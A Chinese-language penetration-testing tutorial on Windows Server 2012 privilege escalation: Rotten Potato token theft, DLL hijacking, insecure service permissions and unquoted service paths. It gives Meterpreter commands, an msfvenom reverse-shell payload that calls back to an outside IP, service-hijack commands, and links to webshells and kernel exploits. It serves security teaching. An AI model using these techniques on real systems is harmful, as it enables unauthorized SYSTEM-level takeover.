目录
- 演示案例:
- Win2012-烂士豆配合令牌窃取提权-Web权限
- Win2012-DLL劫持提权应用配合MSF-Web权限
- Win2012-不安全的服务权限配合MSF-本地权限
- Win2012-不带引号服务路径配合MSF-Web,本地权限
- 补充说明: dll劫持提权及AlwaysInstallElevated等说明
- 关于Windows相关知识点总结说明-权限层,系统层,防护层等
- 涉及资源:
演示案例:
Win2012-烂士豆配合令牌窃取提权-Web权限
单纯令牌窃取: web权限或本地提权
如配合烂土豆提权: web或数据库等权限
RottenPotato (烂土豆) 提权的原理可以简述如下:
1.欺骗 “NT AUTHORITY\SYSTEM” 账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击 (NTLM重放) ,为"NT AUTHORITY\SYSTEM" 账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有 “模仿安全令牌权限” 的账户才能去模仿别人的令牌。一般大多数的服务型账户 (IIS、MSSQL等) 有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户 (就是上面说的用户级账户) 去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀 (lIS服务器权限) 反弹meterpreter就会成功。
烂土豆比热土豆的优点是:
1.100%可靠
2.(当时)全版本通杀,现在是需要自己做个免杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。
总之,我对这个的理解是通过中间人攻击,将COM (NT\SYSTEM权限) 在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
原理:参考上述图片内容,非服务类用户权限无法窃取成功
原理过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功。
upload /root/potato.exe C:\Users\Public
cd C:\\users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYA\\SYSTEM"
提权层面是在web权限上面提升至system权限,这个是跨越比较大的权限,一般我们的提权方法是本地提权,就是本地用户提升至system,这个烂土豆配合令牌窃取提权只要有web权限就可以
在webshell上面上传烂土豆,然后执行烂土豆,紧接着利用窃取模块,窃取SYSTEM权限,最后获取成功
这个是我们前期在目标主机装上去的webshell,就是我们提权获取到web权限,通过这个web权限实现windows的提权
查看用户名和当前权限,它是普通用户,就是大部分的web权限
首先我们打开msf生成后门,搜索msfvenom生成木马
https://blog.csdn.net/qq_63844103/article/details/128801917
先有msf,再有CS,CS内网用的比较多一点,这只是单纯的提权
我们把生成好的后门通过webshell传上去,执行它就完事了
这个时候就是属于监听状态,然后webshell这边执行文件
这个时候我们需要对它进行提权,令牌窃取是建立在权限足够的情况下进行提权,所以我们先进行烂土豆提权
我们可以去网上下载烂土豆提权
烂土豆必须在msf执行,切换到烂土豆在的目录,然后执行它
紧接着,我们在重复一次令牌窃取,提权成功
Win2012-DLL劫持提权应用配合MSF-Web权限
特定软件应用:第三方软件并且权限在控制的时候,比如在操作第三方软件的时候,能够删除它的文件,覆盖它里面的文件
原理: windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录 (先系统后用户)
过程: 信息收集-进程调试-制作dll并上传-换dll-启动应用后成功
DLL劫持提权是比较鸡肋的,但是还是要讲,因为它也是提权方法里面的一种,基本上windows系统都是通杀的,DLL文件在windows上是动态链接库,就好比exe程序,就是很多在开发软件的时候,就会开发dll库,就是程序在启用的时候,默认会调用一些dll库,实现它功能的加载,就是有些程序在写的时候,有些功能需要dll库支持,也就是说dll库是可以实现一些功能的,我们如果能自定义dll库,就能控制执行的东西
信息收集服务器上的第三方软件特有应用程序的信息,我们要分析程序在运行的时候,它有调用那些dll,知道之后,我们就制作一个后门dll去把它进行上传,替换原有的dll,然后当程序启用成功之后,就会调用我们替换的dll来实现这个dll劫持
我们可以通过前期的基本信息,然后可以看一下它有没有一些程序、服务、第三方软件
可以看到有一个第三方软件,ftp传输软件,符合我们dll提权的一个条件
我们本地下载这个程序,去调式它
我们先运行这个软件,找到这个进程
我们做的是提权,系统文件我们不可能去更改它,因为本身权限就不够,所以我们看的是数字签名文件和未知文件,数字签名文件这里有引用到其它程序的dll文件
我们可以尝试去替换dll文件,来实现把dll文件自定义,我们只能够去替换能修改的目录的dll文件,所以我们得选择第三方软件的dll,所以这个时候,我们就在msf上生成恶意dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/ssleay.dll
我们通过shell把生成的dll文件上传上去,然后把源文件替换掉
我们在msf上开启监听,运行后门exe文件
接收到会话,我们在利用令牌窃取,因为administrator权限足够了
这个就是dll劫持,它是比较鸡肋的,对方必须要启用这个程序才行,就是替换完之后,管理员要启用它才行,如果不启用它,就没办法,因为启动了就表示会加载dll,dll就是我们替换的dll,除此之外,dll就是要考虑替换,这个替换权限指的是要看你当前的权限,不是说一定就有,如果webshell权限设置的比较宽松的话,是有的,但是它设置比较严谨的情况下,所以它有前提条件,这个条件要满足才可以
它要满足的条件有点多:1、它装有第三方软件;2、有替换权限;3、管理员要去运行这个程序才行
直接利用火绒剑这个程序去分析进程所加载的dll,排除系统的dll,因为系统的dll,我们是没有权限去替换它,目录都看不了,怎么去替换,所以我们要去找自身程序自带的dll,尝试替换
收集信息有没有第三方的,然后通过收集信息对第三方软件本地去分析,因为我们不可能在服务器上进行分析,因为你要提权的服务器你怎么分析那个进程呢,我们不能打开看,所以我们只能去本地下载一个同样的软件,然后在自己的电脑上去分析,调用dll,知道之后,制作一个dll,把原有的dll进行替换,然后等待这个管理员的启用,应用之后,我们才能接收这个会话,反弹的webshell
这个dll可以进行自定义的,不需要反弹回来,把这个dll,自己通过开发,写个dll,一旦提权成功,自己就创建一个账户,都可以
Win2012-不安全的服务权限配合MSF-本地权限
原理: 即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk.exe -uwcgv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"
根据你当前用户权限,看一下你这个用户有没有可以操作的服务进行配置
利用accesschk.exe文件,去执行-uwcgv命令,冒号里面就是当前的用户、用户组,来检测当前的用户、用户组有没有可以操作的服务命令,一般这种提权适用本地,webshell一般就不现实了
accesschk.exe -uwcgv "administrators" *
我们检测到当前用户组享受这些所有权限的,包括读写、删除、修改各种各样的
我们查询user组,说明user组的用户没有对这些服务进行操作的权限
如果在实战中,我们碰到这个提示,说明我们这个提权方法GG,因为当前组没有可以进行的操作
指向这个服务名对应的文件,操作完之后,发现服务对应的路径就更改了
sc config "NewServiceName" binpath="C:\test.exe"
启动系统服务,很显然就会执行test.exe,我们监听一下会话
sc start "NewServiceName"
我通过这个东西直接提权到system权限,webshell权限大部分是不够的,webshell权限大部分不能够对服务进行更改,所以它大部分是本地提权的概念
Win2012-不带引号服务路径配合MSF-Web,本地权限
原理: 当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
我们看一下我们当前电脑服务,我们可以点击每个服务对应的属性,是不是会对应执行文件,当我们打开这个服务的时候,会默认执行这条命令,而且是以system权限去运行它
windows服务程序在配置的时候,出现配置不带引号的东西之后,就会出现安全问题,它会认为空格之后是参数,会导致这个文件在运行的时候,出问题
检测服务器上有没有有问题的服务路径,就是看它有没有引号,有引号就是正常的,会正常的调用参数,没有引号就会出现安全问题,如果没有我们就可以利用路径制作文件并上传,启用服务或者等待服务器的重启,因为服务器重启会加载一些服务,那么可能就会把你的服务加载,所以我们就等待服务重启,启用服务是需要权限的,如果权限不够的话,就等待服务器的重启,一旦服务被调用就会成功去运行之前的后门文件
用这个命令去检测服务调用执行命令没有引号的
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
如果有提示,就表示这两个地方可以操作,有安全问题必须不带引号,目录里面必须带空格,不带空格也不行,因为空格是命令参数执行的标准
第二个文件目录放上去执行的时候会出现,前面当作一个执行程序,后面当作命令参数
下面的cmd命令,执行的是C:\Program
使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
在webshell里面启动服务的命令,可能会出现没有权限启用,所以引号路径攻击多用于本地环境
sc start "服务名"
启动服务,我们放在C盘的后门被启动,msf监听到,提权成功
因为服务启用就会调用系统权限,所以就能获得系统权限,如果掉了,有可能是因为服务崩了
如果在实战中,权限丢了也不要紧,因为我们可以把exe换成不需要时刻连接的,因为这个后门是msf后门,所以才需要时刻连接,保持它进程的运行
我们可以把后门替换成远控的,一旦执行就执行命令,添加用户,开3389等操作,这些都是后期可以进行的操作
注意这个提权是要看对方有没有安全问题,它其实就是检测服务里面绑定程序的时候,有没有按照规矩的使用引号,因为我们这个服务大部分都是自带服务,然后加上你安装的软件,有时候你安装软件之后,软件会自动创建服务,像apche大部分都是自带服务,如果这个软件在创建服务的时候,没有按照规矩加双引号,就会出现这个安全问提,我们可以通过命令去寻找服务里面对应的程序绑定目录的时候有没有安全问题,有,我们就可以操作它,你直接上后门替换它对应目录里面对应的程序就可以了
有一定的适应面,同时比较鸡肋,因为系统如果不安装第三方软件或者其它东西的话,就不会出现这个问题,而且第三方软件有部分不会出现安全问题,因为有写第三方软件有去正确的配置服务目录,很多情况下都是没有这个引号路径问题的,这就是它比较鸡肋的地方
补充说明: dll劫持提权及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallELevated提权默认禁用配置,利用成功机会很少
很多知识点一碰实战就搞不来的原因,就是很多知识点是有前提条件的,不满足那个前提条件是没办法执行的
你自己都要提权了,你怎么以system权限手动提权它呢,一般管理员是默认不会把AlwaysInstallElevated开启的,我们不讲它的原因是它的利用条件实在是太苛刻了,AlwaysInstallElevated基本是禁用的,用不了,我们就没必要去学它
关于Windows相关知识点总结说明-权限层,系统层,防护层等
总结windows提权知识点
掌握: 提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等
webshell权限大部分是搭建平台赋予的权限,是个非常小的权限,它没有user大,比来宾用户权限大一些
在本地能操作的,一般在web层面也能操作,因为本地权限比web权限大
数据库提权和溢出漏洞是通用的,在本地和web层面都可以
红蓝对抗里面免杀是核心,因为实战情况下,免杀过不了,会导致很多东西都操作不了,免杀是大部分面对的最大的困难,网上有很多文章,但是你会发现大部分已经通用了,
系统服务的权限要看是谁启动的,那就是谁的权限
涉及资源:
https://github.com/tennc/webshell
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075